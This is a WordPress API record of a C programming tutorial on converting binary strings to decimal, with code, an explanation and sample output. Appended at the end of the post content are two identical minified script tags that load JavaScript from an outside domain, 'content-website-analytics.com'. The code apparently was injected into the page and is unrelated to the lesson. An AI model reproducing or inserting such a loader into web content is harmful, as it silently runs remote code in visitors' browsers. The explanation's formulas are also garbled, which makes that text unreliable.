{"id":551,"date":"2024-10-19T13:22:04","date_gmt":"2024-10-19T07:52:04","guid":{"rendered":"https:\/\/codexplained.in\/?p=551"},"modified":"2025-11-24T15:39:40","modified_gmt":"2025-11-24T10:09:40","slug":"converting-binary-to-decimal","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=551","title":{"rendered":"Converting Binary to Decimal"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;math.h&gt;\n\n\/\/ Function to convert binary to decimal\nint binaryToDecimal(const char *binary) {\n    int decimal = 0;  \/\/ Variable to store the decimal result\n    int length = strlen(binary);  \/\/ Get the length of the binary string\n\n    \/\/ Loop through each character in the binary string\n    for (int i = 0; i &lt; length; i++) {\n        \/\/ Get the bit value (0 or 1) by converting character to integer\n        int bit = binary&#x5B;length - 1 - i] - &#039;0&#039;;\n        \n        \/\/ Add the decimal value of the current bit\n        decimal += bit * pow(2, i);\n    }\n\n    return decimal;  \/\/ Return the computed decimal value\n}\n\nint main() {\n    char binary&#x5B;65];  \/\/ Array to hold binary input (up to 64 bits + null terminator)\n\n    printf(&quot;Enter a binary number: &quot;);\n    scanf(&quot;%64s&quot;, binary);  \/\/ Read the binary input (up to 64 characters)\n\n    int decimal = binaryToDecimal(binary);  \/\/ Call the conversion function\n    printf(&quot;Decimal equivalent: %d\\n&quot;, decimal);  \/\/ Print the result\n\n    return 0;  \/\/ Indicate successful completion\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Binary Representation<\/strong>:\n<ul class=\"wp-block-list\">\n<li>In binary, each digit represents a power of 2. For example, in the binary number <code>1011<\/code>:\n<ul class=\"wp-block-list\">\n<li>1\u00d723+0\u00d722+1\u00d721+1\u00d720=8+0+2+1=111 \\times 2^3 + 0 \\times 2^2 + 1 \\times 2^1 + 1 \\times 2^0 = 8 + 0 + 2 + 1 = 111\u00d723+0\u00d722+1\u00d721+1\u00d720=8+0+2+1=11.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>This means that each bit contributes a specific value based on its position.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Decimal Representation<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The decimal system uses ten digits (0-9), and each digit&#8217;s position represents a power of 10.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Program Structure<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Includes and Libraries<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The program begins by including necessary libraries:\n<ul class=\"wp-block-list\">\n<li><code>stdio.h<\/code> for standard input and output.<\/li>\n\n\n\n<li><code>string.h<\/code> for string manipulation functions.<\/li>\n\n\n\n<li><code>math.h<\/code> for mathematical functions like powers.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Function Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li>A function called <code>binaryToDecimal<\/code> is defined to perform the conversion. It takes a string input representing a binary number and processes it to compute the decimal value.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Input Handling<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>main<\/code> function prompts the user to enter a binary number, reads the input, and stores it in a character array.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Conversion Logic<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The function calculates the decimal value by iterating through each character of the binary string:\n<ul class=\"wp-block-list\">\n<li>It accesses each bit from right to left, converts it from a character to an integer, and computes its contribution to the decimal total based on its position.<\/li>\n\n\n\n<li>This is done using the formula bit\u00d72positionbit \\times 2^{position}bit\u00d72position.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Output<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Once the conversion is complete, the program prints the decimal equivalent of the entered binary number.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Output<\/h2>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nEnter a binary number: 1011\nDecimal equivalent: 11\n\n<\/pre><\/div>\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Program Structure Output<\/p>\n","protected":false},"author":38,"featured_media":736,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-551","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/551","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=551"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/551\/revisions"}],"predecessor-version":[{"id":1412,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/551\/revisions\/1412"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/736"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=551"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=551"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=551"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}